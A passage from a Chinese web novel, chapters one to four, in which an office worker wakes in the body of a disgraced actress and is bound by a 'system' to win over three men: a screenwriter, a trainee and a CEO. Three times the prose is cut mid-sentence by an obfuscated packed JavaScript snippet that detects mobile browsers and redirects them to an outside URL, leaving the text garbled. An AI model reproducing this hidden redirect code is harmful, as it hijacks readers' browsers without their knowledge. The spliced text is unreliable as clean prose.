《修罗场端水大师》 1. 第 1 章 尚知遥一觉醒来,睁开眼却没看到自己熟悉的出租屋破旧天花板,反而被过度的明亮闪得双眼刺痛。 她一边抬手挡住刺眼的闪光灯,一边睡眼惺忪地想:这什么情况?光污染终于要毁灭世界了?那我今天是不是不用上班了? 没等她反应过来自己到底是什么情况,突然有两三个黑洞洞的话筒怼到她的嘴边,耳边叽叽喳喳响起许多人的声音,她努力集中注意力才捕捉到了几条较为清晰的: “尚知遥女士,请你正面回应霸凌娱乐圈新人的传闻!” “尚知遥女士,请问你和程跃有什么私下里的矛盾吗?同为艺人为什么要对她大打出手?” “据说你在此之前就对程跃进行辱骂和羞辱,传言属实吗?” “尚知遥女士,你逃避问题却出席广告商的品牌活动,是何用意?” “程跃女士今年才刚刚出道,你们是否之前就认识?你们是不是积怨已久?” “尚知遥,请正面回答问题!” 其他人的质问与发言也大差不差,翻来覆去都是一样的话。 尚知遥快速整理出了三个信息,第一,她现在身上正背着一个不知真假的“霸凌娱乐圈新人”的传闻;第二,她正在出席一个品牌活动,下面这些人都是求“八卦”若渴的记者。 最重要的,第三,她,尚知遥,一个在小公司打着零工苟且偷生的女孩,竟然穿越成了同名同姓的大明星! 要不是顾念着自己正被无数闪光灯和摄像头包围着,她真的可能会忍不住笑出声来。 成天对她颐指气使的上司,阴阳怪气的同事,背叛她的前男友,表里不一的抠门福利院院长,还有从出生就没把她当个人的抛弃她的父母…… 他们要是知道她现在是万众瞩目的大明星……那可爽得没边了! 然而眼下她似乎还处在舆论漩涡之中,身边没有经纪人或助理拦住蜂拥而上的记者们,她初来乍到,对自己这个新身份还不太了解,害怕多说多错,只能一味地保持微笑,和每个记者之间的空气对视,眼神含笑,极力保持着优雅端庄。 就在这时,她忽然听见耳边传来一声压抑怒火的呵斥:“尚知遥!你耳朵聋了?别傻笑了念台词啊!” 尚知遥这才发现自己还佩戴着极为隐蔽的耳机,这严厉的女声就是从耳机里传来的。 她一边腹诽怎么穿成大明星还要挨领导骂,一边眼珠迅速地转着。 一般这种品牌活动肯定会把要代言的商品放在明显的地方,果然就在不远的地方,她看见了巨大的广告牌—— “悦己卫生巾,新疆棉材质。”她抚过展示台上一片雪白的棉柔表层,面向镜头微笑着,“大家知道悦己为什么采用弱酸性表层吗?” 记者们愣住。 “因为经血PH值在3.8~4.5之间,这种弱酸性环境更利于抑菌,维护女性的□□健康。”她对着镜头眨眼,“与其相信男人说‘多喝热水’,不如相信科学。” 此起彼伏的快门声渐渐停止,记者们不再咄咄逼人,直到品牌活动结束,有个助理模样的年轻小姑娘过来叫她“遥姐”,带着她从后门走进了一个明亮的走廊,尚知遥才确定自己应该已经平安度过穿越过来的第一关。 “这边走,遥姐。”尚知遥不动声色地观察着这个小姑娘,猜她应该就是自己的助理,但却话少腼腆,和自己不是很熟的样子。 难道她这副身体的原主是个很跋扈的人?结合刚才那些记者的表现…… 那些黑料,那些“霸凌娱乐圈新人”的传闻,难道也是真的? 没等她想明白,便跟着助理小姑娘进了一个看起来像是化妆室的地方,里面零零散散的有几个正在卸妆的艺人,靠门边的地方,坐着一个面容严肃的中年女人。 一看她进来,女人对她笑了一下,却并未起身:“辛苦了小尚,刚才表现不错,没想到你平时毛毛躁躁的,今天这样的情状还能沉得住气。” “哪里哪里,都是您教得好。”尚知遥一听声音就听出来,这就是刚才自己耳机里那个严厉的声音,马屁忙不迭地拍上了。 开玩笑,她在自己的世界里虽然没什么出息,但拍马屁技术可是一流的,上到总经理下到部门总监,每匹马的屁股都不会在经过她面前后完好无损。 “好了,休息一下就回吧,今天你也没别的工作了,回去看一下这个剧本。”女人递给她一个本子,上面写着《知己》两个字,“明天你去试镜这个恶毒女配,别再给我出差错!你现在的路人缘自己也知道吧?这么好的机会再不抓住,这个冬天就别想好好过了。” 说完也没等尚知遥回话,自己径直就转身走了。旁边一个女艺人见状很快跟了上去,尚知遥听见她很亲热地喊“颖姐!” “我也帮你卸妆吧遥姐?一会儿是直接送你回家还是……”助理小姑娘开口问。 尚知遥这才想起她还在自己身边,笑了笑道:“不用,直接回家吧,我……我有急事。” 很急,急着弄清楚自己到底是谁。 以及你们是谁。 助理在前面给她带路,她披上外套跟了上去。 这条走廊不长,也许是前面人走得慢的缘故,尚知遥无意偷听,可她们闲聊的声音还是传入她的耳朵。 “姐,您不是一直让她走黑红路线的吗?我看她这次捅了这么大的篓子,干嘛不趁这个机会再好好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536245|186566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑红一把?” “可别说笑了,这次的事儿太大,你以为那程跃是好惹的?她背后且有人撑着呢,小尚有人撑吗?”被称为颖姐的女人似乎翻了个白眼,语气很无语的样子。 “也是……” “况且她现在早就够黑了,你看现在网上的风评,十个人有一个人夸她的?再不开始洗白就麻烦了。再说什么叫我让她黑红,她自己不争气黑料不断,又不是没给她洗过,洗不白我有什么办法?我只能添点油加点醋咯……” 两个人笑作一团,声音渐渐远了。 尚知遥轻轻叹了一口气。 “没事吧遥姐?”助理小姑娘拽了拽她的袖子,“你别放在心上,颖姐就是这个性格,你,你别在意啊。” 尚知遥刚要说什么,忽然觉得一阵头痛,钻心的疼,像是要有什么东西从里面出来一样。 【叮咚!叮咚!检测到思维活动……检测到宿主生命线索……加载中……系统加载完成……】 尚知遥找不到声音的来源,只觉得头痛欲裂,片刻后她突然脑子里闪过一个念头。 穿越……穿越的标配是什么来着…… 【宿主你好,恭喜你绑定了攻略系统,我是067号系统,你需要完成我的任务,才能回到原来的世界中。】 果然如她所想,还真的绑定了金手指系统……什么?攻略系统? “什……攻略……什么任务啊?等一下,让我捋捋!”尚知遥揉了揉太阳穴,“现在到底是什么情况?” 系统并未理她,自顾自地说道: 【接下来颁布宿主尚知遥的专属任务:你需要同时攻略三个男主,并且不能被他们发现你的攻略任务。】 尚知遥没想到,自己好不容易从默默无闻的小喽啰穿越成了大明星,结果还是个全网黑的心机女;难得绑定个系统,竟然没有任何助益,没有金手指,也没有运气加成,反而要她完成什么攻略任务? “其实……其实吧,我也没有很想回到我原来的世界。”尚知遥在心里与系统对话,“要不然这任务我就不做了,就在这待着挺好,不行吗?” 吃香喝辣,万众瞩目,聚光灯下……就算被千人唾万人骂又怎么了?况且,她一向有信心让别人喜欢上她。 【当然可以。】系统无情的声音打断了她的畅想,【任务失败惩罚:宿主的存在将被永久抹杀。】 尚知遥:…… “你早说我还跟你废话个什么劲?!这破任务给我选择接不接受的权利了吗?” 【理论上来说,给了的。】 尚知遥两眼一闭:心说看来不得不接受了,既然拒绝不了,不如想想该怎么利用这个系统。 2. 第 2 章 “你说你是我绑定的系统,那你都有什么功能?总不能全靠我自己吧。”坐在保姆车的后座,尚知遥默默与脑中的声音交谈着。 【当然有,我可以帮助你审时度势,了解原主的记忆,也能提示每个男主的好感度和攻略进度。】系统冰冷的电子音并未掺杂任何情绪。 尚知遥大喜:“那快给我讲讲,我现在到底该做什么?我……我究竟是谁?” 【宿主别急,想必你已经发现了,这副身体的身份是与你同名同姓的娱乐圈女明星尚知遥,这是一本娱乐圈小说的书中世界,而原主只是里面一个无名无姓的炮灰女配,剧情也只是寥寥几句话带过,在被程跃陷害不久后就郁郁而终。想要改变原有剧情,只有完成攻略任务才能脱离书中世界。】 【任务期限:六个月。】 尚知遥这才明白,还想着永远留在这个世界里当大明星,原来完不成任务是要死人的! “怎么不早说……这可比丢面子恐怖多了,我还不想死啊……” 【宿主放心,既然系统选中了你,说明你有完成任务的能力,只要好好利用我的能力,相信攻略三个男主不在话下。】 尚知遥被捧得美滋滋,深以为然地点了点头。 “那我究竟要攻略谁?你能不能告诉我,他们三个都是什么样的人?” 【这个嘛,等到宿主你遇见了攻略对象,我自会一一说明。】 “那现在我到底该怎么做?明天就要试镜了,总不能毫无准备地去碰运气。”尚知遥坐在保姆车后座,神色凝重,焦急地询问系统,手指下意识地在膝盖上轻轻敲击,敲出她内心的忐忑不安。 【宿主,你先认真研读剧本,吃透角色。在关键节点,我会为你提供助力,助你更好地诠释人物。】系统的声音依旧冰冷,却给尚知遥指明了方向。 尚知遥深吸一口气,翻开剧本。 密密麻麻的台词映入眼帘,她努力集中精神,逐字逐句地研读起来,可那些文字仿佛变成了跳跃的符号,怎么也无法连贯成完整的画面。 她反复琢磨着角色的性格特点、情感脉络,可心里始终没底,毕竟这才穿越过来第一天,她连娱乐圈是个什么样子都还不知道,最近一次演戏还是十四岁上课偷吃辣条,吃完顶着一嘴红油装无辜地被老师叫起来回答问题。 无奈之下,她只能暂且放下剧本,闭目养神,一边想着这稀奇的攻略任务,一边慢慢睡了过去。 次日,尚知遥早早起身,精心打理好妆容,穿上简洁干练的服装,怀揣着紧张与期待前往公司。一路上,她紧紧握着剧本,像是握住了命运的缰绳。 踏入公司大楼,人来人往,嘈杂的人声如潮水般涌来,但尚知遥的眼神却格外坚定,她敏锐地扫视着周围,不放过任何一个可能与男主相关的细节。 “我说系统,你会预判未来吗?我今天会不会遇到要攻略的男主啊?” 正巧拐过一个转角,还没等听到系统的回应,尚知遥正低头思索剧本内容,丝毫没留意前方有障碍。 “砰”的一声闷响,她整个人向前扑去,手中的咖啡不受控制地泼洒而出,尽数溅到自己身上。 “啊,实在抱歉!”尚知遥急忙抬头,只见一位长相极为出众的男生站在面前,雪白的衬衫上沾染了一点咖啡的污渍,但跟尚知遥身自己身上的比起来,还是少了很多。 “没事儿,是我没注意。你没受伤吧?”周向晨急忙关切地问道,眼神真挚。 尚知遥拍了拍身上的咖啡渍,略带尴尬地笑了笑:“我没事,倒是把你的衣服弄脏了,真不好意思。” “小事一桩,洗一洗就好。要不留个联系方式,等衣服洗好了,我们再约个时间送给你。”周向晨一边说着,一边拿出手机,准备添加好友。 尚知遥满心都是试镜,无暇顾及其他,况且试镜马上就要迟到了,虽然帅哥近在眼前也不能贸然行动。 于是,她礼貌地婉拒道:“不用了,我赶着去试镜,先走了。”说完,便匆匆离去,脚步急切而坚定。 周向晨望着她离去的背影,嘴角微微上扬,眼中闪过一丝兴味:“有趣。” 尚知遥一路小跑来到片场,只见试镜间外面早已坐满了人,清一色的美女,个个都垂头丧气,似乎刚被导演当场pass掉了。 “你们公司难道就找不出一个像样的演员吗?这都什么水平。”尚知遥隔着门就听到里面传来一名男子抱怨的声音,声音中满是失望。 推开门,导演和编剧正一脸疲惫地坐在椅子上,周围弥漫着压抑的氛围。 尚知遥抬眸,正好与刚才说话的男子对上了视线。 他身着黑色西装,头发整齐地梳在脑后,五官深邃,眼神犀利且清冷,浑身散发着生人勿近的气息。 “你怎么才来?大家都等你半天了,哎你这衣服怎么弄成这样?”一个导演模样的人满脸不耐烦,语气急促地催促道,“算了算了,赶紧开始,你是最后一个试镜的。” 尚知遥脱掉被弄脏的外套,深吸一口气,调整好状态,稳步走到场地中央。 她闭上眼睛,脑海中迅速回忆着剧本里角色的每一个细节,从角色的身世背景到性格特点,从情感的起伏变化到每一句台词背后的深意,都在她的脑海中一一浮现。 片刻后,当她再次睁开眼睛时,眼神中已然充满了自信与笃定,仿佛她此刻就是剧本中的那个角色。 这个角色是个戏份不多的恶毒女配,这段试镜的剧情是她第一次作恶,演绎起来要足够狠毒,又不能显得太问心无愧,对于一个从没演过戏的穿越者来说的确是有点难度。 尚知遥全身心地投入,声音颤抖着,动作却没有一点停顿,眼眶含泪,将那种善恶交织的犹豫和纠结演绎得入木三分。 然而,导演和编剧却始终低声交谈,时不时皱起眉头,似乎并不满意。 尚知遥瞥见他的表情,心里“咯噔”一声,表面却只能假装镇定自若,继续投入表演。 或许是因为紧张,她刚才还狠毒的神色微微松动,凌厉的眼神瑟缩了一瞬,若是资深的导演或演员来看,一眼就能看出她的出戏。 然而就这么一个眼神,却让先前抱怨的男子原本紧皱的眉头微微松开,眼中闪过一丝不易察觉的欣赏。他紧紧盯着尚知遥的表演,不放过任何一个细微的动作和表情。 表演结束后,整个片场安静得落针可闻,所有人都被她的表演深深吸引。 男子突然慢慢地鼓起掌来,原本冷若冰霜的脸上浮现出一丝难得的笑意:“就她了!” 导演惊讶地看向男子:“许老师,你确定?可是她并不是资方的……” 被称为许老师的冷峻男子微微点头,上下打量着尚知遥,眼神中满是审视与欣赏:“不用多说了,我自己写的角色,我知道该由什么样的人来演。” “而且……”男子勾唇,露出一抹意义不明的微笑,“刚才似乎没注意到,她的面相,其实很适合这个反派角色。” 尚知遥愣住了,她没想到峰回路转得如此突然。 就在她还没反应过来时,系统的声音在脑海中响起:【恭喜宿主,已遇见攻略对象之一:许淮,好感度初始值为20%,目前攻略进度:0%。”】 尚知遥偷偷打量着眼前这个似乎很被尊敬的人,许淮,她心中暗自思索,这个高冷的编剧,日后怕是要费一番心思攻略。 “那个……许老师,真的选 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536246|186566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我了吗?”尚知遥小心翼翼地问道,眼中闪烁着一丝期待。 许淮点了点头,语气重又恢复了冷淡:“对,好好准备,别让我失望。从现在起,你要深入理解角色的每一个细节,我们会有很多次沟通和交流的机会,希望你能不断完善自己的表演。” 尚知遥满心欢喜,刚准备离开,却在门口看到了刚才被她撞到的那个男生。他已经换了件衣服,正似笑非笑地看着她。 “这么巧,又见面了。看来你试镜很成功?”男生走上前,笑得阳光又开朗。 尚知遥笑了笑没说话,只是轻轻点了点头。 男生向门内看了看,惊讶道:“原来你就是这一场的……” 尚知遥问:“什么?” “没什么,只是许老师写的这个本子,许多人抢破头都得不到一个试镜资格,你却能轻松拿下,不简单。”男生摇了摇头,再一次露出了一个灿烂的笑容,让尚知遥心里忍不住犯嘀咕,这人也太爱笑了一点吧? “过奖了,运气而已。”尚知遥看着他,“没想到你对演艺圈还挺了解的。” “哦,我还没自我介绍,我叫周向晨,是丰秋的练习生,其实我该叫你一声师姐。”周向晨对她眨了眨眼,“你不介意我叫你知遥姐吧?” 尚知遥挺意外他会知道自己的名字,不过看他神神秘秘的样子,想来多问也没用,便伸出手和他握了握:“当然不介意,既然是师弟,那我们还算有缘分。” “是啊,这么有缘分,可惜知遥姐马上要进许大编剧的组了,我却不知道什么时候才能出道。”周向晨压低声音,半开玩笑似的说了一句,很快又恢复正色,“对了,你要进组肯定忙不过来,之前弄脏的衣服还是我来帮师姐洗吧。” 就在尚知遥迟疑的时候,系统的声音再次响起:【恭喜宿主,已遇见攻略对象之二——周向晨,好感度初始值为30%,目前攻略进度:0%。】 确认了周向晨的身份,也确认了他的目的。 无非就是四阿哥初见正得宠的甄嬛,蓄意讨好,半真半假地说几句卖惨的话罢了。 想到这儿,她毫不犹豫地把脏外套递给了周向晨,同样回给他一个微笑:“那我就不跟师弟客气咯。” 试镜结束后,尚知遥回到公司,薛颖把她叫进办公室。 “这次试镜能成功,算是你运气好。不过别以为这样就能高枕无忧了,后续还有很多工作要做。进组拍戏,前期宣传,你给我好好配合。”薛颖坐在办公桌后,神色严肃,语气中带着几分严厉。 尚知遥点点头:“颖姐,我明白,我会努力的。” “你现在的路人缘很差,这次拿到这个角色,是个翻身的好机会。要是搞砸了,你就别想在这圈子里混下去了。”薛颖目光锐利,直直地盯着尚知遥,仿佛要将她看穿。 “你放心颖姐,我一定好好表现。”尚知遥坚定地说道,眼神中透着不服输的劲儿。 虽然还不知道自己穿越的缘由,但是既然上天给了她重开人生的机会,她必然不会再轻易认输。 从薛颖办公室出来后,尚知遥去茶水间倒水,听到旁边两个小助理在小声议论。 “你听说了吗?这次那个尚知遥居然被许编剧选中了,真没想到。” “是啊,她黑料那么多,我还以为没人会用她呢。” “说不定背后有什么猫腻,指不定又要闹出什么事来。” 尚知遥嘴角微微上扬,露出一丝不屑的笑容。 她虽然没真正在娱乐圈里摸爬滚打过,但也深知,想要在娱乐圈中站稳脚跟,就必须要承受这些流言蜚语。 不过是换了一个职场环境而已,区区娱乐圈,她就不信自己搞不定。 3. 第 3 章 次日清晨,尚知遥一觉睡到自然醒,在温暖的被窝里翻了个身,下意识地伸手在床头柜上摸索着手机。 眼神停留在手机上的时间许久,才想起自己虽然穿成了大明星,但还是有班要上的。 “完了完了,要迟到了!”她瞬间像被电击中,整个人从床上弹起,一边手忙脚乱地穿着衣服,一边在心里疯狂吐槽,“这破系统,也不提醒我设个闹钟!” 她随便扒拉了下头发,胡乱洗了把脸,抓起包就冲出门。 真是屋漏偏逢连夜雨,本来那个经纪人薛颖就不是个好相处的,要是再被她抓到迟到,恐怕自己在这公司真是没好日子过了。 以前自己追星的时候没感觉,原来这些要火不火的小明星处境有这么艰难…… 好不容易赶到公司大楼,她气喘吁吁地冲向电梯,却发现人满为患的电梯正在缓缓关闭。 尚知遥一咬牙,铆足了劲儿冲过去,一个箭步跨进电梯,稳稳当当挤进了电梯里剩下的最后一个空位。 转身的瞬间,正好对上了电梯外一位西装革履的男人惊愕的眼神。 男人身姿挺拔,剪裁合身的西装勾勒出他的干练与沉稳,深邃的眼眸中此刻正闪过一丝意外,高挺的鼻梁下,薄唇微微张开,似乎对眼前这突如其来的闯入者感到十分惊讶。 “呼,还好赶上了。”尚知遥长舒一口气,还没来得及得意,就听见系统冰冷的声音在脑海中响起: 【宿主,刚刚那位男士是丰秋传媒的CEO霍景宴,也是你的第三个攻略对象,目前好感度初始值为10%,攻略进度0%。】 “啥?”尚知遥瞪大了眼睛,看着缓缓合上的电梯门,心里叫苦不迭,“完了完了,第一天见面就把人家关电梯外面,这第一印象简直差到姥姥家了,这可怎么攻略啊!” 系统沉默了半晌,却给出了尚知遥意料之外的回答:【其实,我觉得宿主你并不需要担心这个。】 “这是什么意思?”尚知遥好奇地问,“对哦,他是总经理,是不是有那种专用电梯啊,应该不会跟我一个小喽啰计较吧。” 【那我倒不清楚。】系统说完这句就没声了,任凭尚知遥再怎么追问也没有答复。 “嘁,卖什么关子,我还不是早晚会知道……” 今天是星期一,早上公司要开例会。顾不得想那些有的没的,尚知遥一下电梯就小跑着冲向会议室。 当她匆匆推开会议室的门时,众人的目光都聚焦在她身上,会议室里瞬间安静下来。 尚知遥尴尬地站在门口,头也不敢抬,脸上一阵发烫,只能怯怯地等候发落。 没人告诉她当大明星也要受此酷刑啊! 薛颖冰冷的声音传来:“赶紧找位置坐下,尚知遥,我不想听理由,迟到的事开完会再单独过来找我。” 尚知遥忙不迭地点头,可放眼望去会议室竟是座无虚席,半天找不到一个空位。 眼看着薛颖已经露出不耐烦的神色,正在不知所措时,尚知遥忽然听见一个清冽的陌生男声: “尚知遥是吧?过来坐我旁边。” 尚知遥循声望去,竟是刚才被她关在电梯门外的霍景宴,他的身旁果真有一个空座。 她犹豫了一瞬,虽然不明就里,但脚步仍不自觉地朝着那个方向挪动。 不管了,这个男的看起来比薛颖好说话,她可不想冒着得罪薛颖的风险装清高。 “谢谢霍总。”尚知遥坐下后,小声说道。霍景宴微微颔首,并未回应,只是眸色中多了一丝深沉。 会议开始,众人依次汇报工作进展。尚知遥也渐渐放松下来,开始专注于会议内容。 然而,让她没想到的是,话题很快就转到了她身上。 “最近公司新签了几个广告和杂志,需要安排合适的艺人参与。”薛颖翻着手中的资料,说道,“尚知遥之前试镜表现不错,拿下了许编剧的那个角色,不过你资历尚浅,这次就……” 霍景宴突然开口:“我觉得尚知遥很合适。上次看她试镜,演技可圈可点,在处理角色情绪的细节上十分到位。这样的艺人,公司应该多给她安排工作,好好培养。” 此话一出,会议室里一片哗然。大家纷纷投来惊讶的目光,尚知遥更是瞪大了眼睛,不敢相信自己的耳朵。 先不说霍景宴何时看过她试镜的场面,就说他这无端施惠的行为,实在是让尚知遥摸不着头脑。 系统能清晰地读取到尚知遥脑子里的想法,问:【宿主,霍景宴是你的攻略对象,他既然为你说话,不正是意味着他对你有好感吗?你怎么还不高兴?】 “这你就不懂了吧,无事献殷勤,非奸即盗,谁知道他安的什么心?”尚知遥啧啧两声,暗自腹诽,“这个霍景宴古怪得很,我得提高警惕……他不会也有系统吧?他的攻略对象是我?” 【呃,这个问题真的很有意义,因为我的确检测不出是否有同事在霍景宴的体内……】 “天啊,我刚才随口一问,不会真的有这种事吧?”尚知遥震惊,“我可不想陷入你们高维度系统之间的争斗啊,谁知道你和别的系统相比是什么水平!” 没等系统再说什么,会议室里已有提出了质疑。 “霍总,知遥虽然有潜力,但她目前的路人缘不太好,黑料也多,贸然给她太多资源,会不会有风险?” 说话的是个部门高管,霍景宴微微皱眉,语气坚定:“那些黑料是怎么来的,你们最清楚不过。艺人最重要的是实力,尚知遥有实力,我们就应该给她机会。而且,通过合适的宣传和公关手段,完全可以扭转她的形象。” 话已至此,大家都明白了这位大领导的意思。 薛颖不动声色,只是会意地点了点头:“既然霍总这么说,那后续的工作安排,我们会重新调整,加大对尚知遥的投入。” 接下来的会议中,霍景宴又多次提到尚知遥,称赞她的专业态度和表演天赋,还提到尚知遥自己都不记得的原主以前拍过的作品,说得头头是道,仿佛对她的表演细节早已烂熟于心。 尚知遥坐在一旁,心中满是疑惑,她与这个霍景宴不过一面之缘,为什么这人给她的感觉好像和她已经认识了很久,说不定还有点故事那种? 难不成原主和他早就认识?如果真是这样,自己刚才的种种表现岂不是会让他对自己印象更差? 会议终于结束,众人陆续离开会议室。尚知遥刚起身,就听见霍景宴说:“尚知遥,你留一下,来我办公室。” 尚知遥的心猛地一紧,硬着头皮点了点头。 走进霍景宴宽敞明亮的办公室,尚知遥只觉得一种熟悉感扑面而来。 穿越前,在她还是个不起眼的打工人的时候,老板也会在这样奢华的办公室里骂她。 ……大不了就把霍景宴当老板而已,难道还能比那个贱人老板骂得脏? 想到这儿,尚知遥不知为何挺直了腰板,昂首挺胸走到了霍景宴的办公桌前,低头看着他。 霍景宴明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536247|186566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显愣了一下,大概也没看懂她这个居高临下的姿势。 “霍总你好,你找我。” 总裁果然是总裁,霍景宴很快回了神,似笑非笑地指了指办公桌对面的椅子,道:“坐吧。” 霍景宴的目光随着她拉开椅子的手慢慢移到她的脸上,尚知遥只觉得自己被这道目光细细密密地描摹了一遍,从头到脚,浑身不适。 “霍总,我们以前……认识吗?”尚知遥终于还是没忍住问出这句冒犯的话, 霍景宴还是像刚才一样盯着她看,连面部表情都未曾有一丝的触动,似乎完全不想回答她的样子,许久之后才慢悠悠地开口: “尚知遥,我不管你是处于什么目的接近我,恭喜你成功了,现在我认识你了,并且还对你产生了兴趣,满意吗?说说你想要什么,我今天心情好,说不定会答应。” “……” 尚知遥真想走上前去摸摸这位霍大总裁的额头,这人到底是喝大了还是发烧了?叽里咕噜说什么呢? 霍景宴这时却忽然一副恍然大悟的样子,指了指她道:“我知道了,你是想让我先开价吧?也好,正合我意,你现在谈恋爱了吗?” “……霍总,我想这是我的隐私。” 算了,虽然前面一句话没听懂,还是先把能回答的问题回答了。 “不管你有没有,从今天开始你都有且只有我一个人,明白么?”霍景宴收敛了笑意,向后依靠在奢华舒适的办公椅上,望向尚知遥的眼神有些复杂,不屑中又掺杂着一丝柔情。 “一个月二十万,公司和我个人的资源也自然不会少了你的,其他的相关待遇我会让秘书之后发给你,你可以考虑一下,明天上午十点,我要在我办公室看见你,同意,我们签订恋爱协议,不同意……我想你应该不会选这个选项。在此之前,你有什么要求也可以提出来,我会尽量满足。” 尚知遥被他一顿输出弄得瞠目结舌,这到底什么跟什么?为什么突然就变成这样了? 不过一个月二十万哎……天啊,比她以前一年赚的还多。 一个幽幽的声音从脑海中响起:“宿主,你先别崩溃,这不是好事吗?霍景宴本来就是你的攻略对象之一啊。” 尚知遥这才想起还有系统这回事,忙问:“系统系统,你是不是给我遗漏了什么记忆啊?这原主和霍总到底是啥关系啊以前?” “这个你放心,攻略对象的选定都是在你穿越后才完成的,原主和所有攻略对象以前都不认识。” ……我放心什么?你这样说完我更不放心了啊!这不更说明眼前这男的纯纯是个精神病吗! 大约是她的表情太扭曲,霍景宴终于再次开口:“怎么,看你这反应,高兴傻了?还是说你有什么意见?” 尚知遥下意识地摇头,其实按系统说的略微想想,也的确是这个道理。不管霍总到底有什么疾病,先攻略了再说。 离开霍景宴的办公室后,她明显感觉到周围安静办公的人有不少都抬起了头,向她投来或好奇或不忿的目光。 尚知遥莫名感到有些滑稽,刚才这段让她头疼的经历,竟然也会引来别人的嫉恨,果然世界就是一个巨大的围城。 “知遥,你现在有空吗?来我办公室一趟。”望向声音的方向,原来是薛颖不知什么时候站在她身侧,神情看不出情绪,倒是语气比起早上来不知柔和了多少。 尚知遥叹了一口气:“来了颖姐。” 看来今天这场戏,还远远没有结束。 4. 第 4 章 薛颖没有霍景宴那么好糊弄,根本没给尚知遥辩解什么的机会,劈头盖脸就是一顿训斥,偏偏还皮笑肉不笑的,让人不知该作何反应。 “知遥啊,你抱上大腿了怎么也不跟颖姐说一声呢?你这样搞得我很被动啊。” “少给我来那套无知小白莲的戏码!还说不认识霍总,那难道是他对你一见钟情了?你以为潜规则上位很容易是吗?” “我也没说你自己找出路不行,毕竟你现在要咖位没咖位,要演技没演技,要我是你,我早就自谋出路了,但是这种事情你不跟我说怎么行呢?要是万一哪天被媒体发现,我连找补都不知道该从何帮你。” “……” 尚知遥刚开始还敢辩驳几句,后来薛颖越说越激愤,一贯的毒舌里夹杂着一点点真心的恨铁不成钢,倒让她真觉出几分自己的不是来。 “行了,我也不跟你废话,只是这种事情不要再发生第二次了,传出去,人家只会说我这个经纪人无能。” 趁着薛颖停下来喝水的空挡,她赶紧见缝插针:“颖姐,我知道错了,我这就回去好好工作,您也好好休息,别气坏了身子。” 说完,她也没再听薛颖的回应,一口气跑下了楼,随手拦停了一辆出租车,她现在急需一个安静的环境来理理思绪。 没想到还没等她问,系统先迫不及待地开口了。 【宿主,我知道你心里在想什么,经过精密的计算和对现有信息的归纳总结,我为你撰写了一份详细的报告,你现在要听一下吗?】 “……你是工作狂吗?”尚知遥只觉得系统这时好像她上一世的领导,总有做不完的报表。 【不是。】系统的声音听起来果断又诚恳,【其实你是我所有宿主里面运气和开局条件最好的,而且我到目前为止还几乎没有帮到你,所以……】 尚知遥一头雾水:“什么叫我是条件最好的?我感觉我遇到的都不是什么正常人啊!” 冷峻又严格的大编剧许淮,打着如意算盘接近她的小练习生周向晨,更别提这个上来就要和她签恋爱合约的大总裁霍景宴。 【听起来,宿主你最大的疑问就在霍景宴身上了,我也觉得从他入手比较合适。】系统停顿了片刻,又道,【霍景宴,今年二十八岁,经营丰秋传媒已有八年,年少时曾有一个难忘的爱人,已故,原因不详,据我所知,宿主的眼睛和鼻子十分像她。】 尚知遥恍然大明白。 为什么霍景宴会主动叫她去跟前坐着,想要更清楚地看见她的五官,为什么他会怀疑自己接近他的目的,为什么他处处表现得好像两人以前就认识,为什么他看自己的眼神时而温柔时而厌恶…… 许多疑问都找到了答案。 尚知遥灵光一现,突然一拍大腿,喊了声:“我知道了!” 司机的眼睛在后视镜中注视了两秒,才重新目视前方。 尚知遥这才想起自己还在出租车里,尴尬得恨不得一头钻进地缝。 司机忽然开口:“哎丫头,我看你怎么有点儿面熟,你是不是演那个什么公主,月月公主的啊?” 尚知遥这才想起自己连口罩都没戴,也没想到会被看起来并不关注内娱的司机认出。 “哎呀,我媳妇儿可喜欢你了,看完那电视剧自己跑影楼拍了一套公主的写真,今天还让我见着月月公主真人了,哈哈哈。” 之前她从系统那里了解过原主演过的戏,除了一部古装剧《夜半缘浅》里的小配角还算知名,其他作品实在没什么可提的。 而司机说的这个“月月公主”,正是她在这部剧里饰演的女主的小女儿,戏份不多,还因为后期配音的问题导致口型对不上,被观众骂演技差、记不住台词,不知道背后有多大资本。 “谢谢您和您妻子的喜欢,没想到这么一个小角色也会被人记住,您妻子肯定是个细腻的人。” “哎,什么小角色,我媳妇要知道我今天出车拉上了大明星,指不定兴奋成啥样呢。丫头,你能不能待会给我签个名,咱俩合个照,行不?” 尚知遥自然一口应下,这还是她穿越过来后第一次体验到当明星被人认出的感觉。 【检测到宿主遗漏重要信息,提醒:该剧是你第一次和程跃共事,也正是这部剧播出后,你在剧组霸凌新人的舆论传出。】 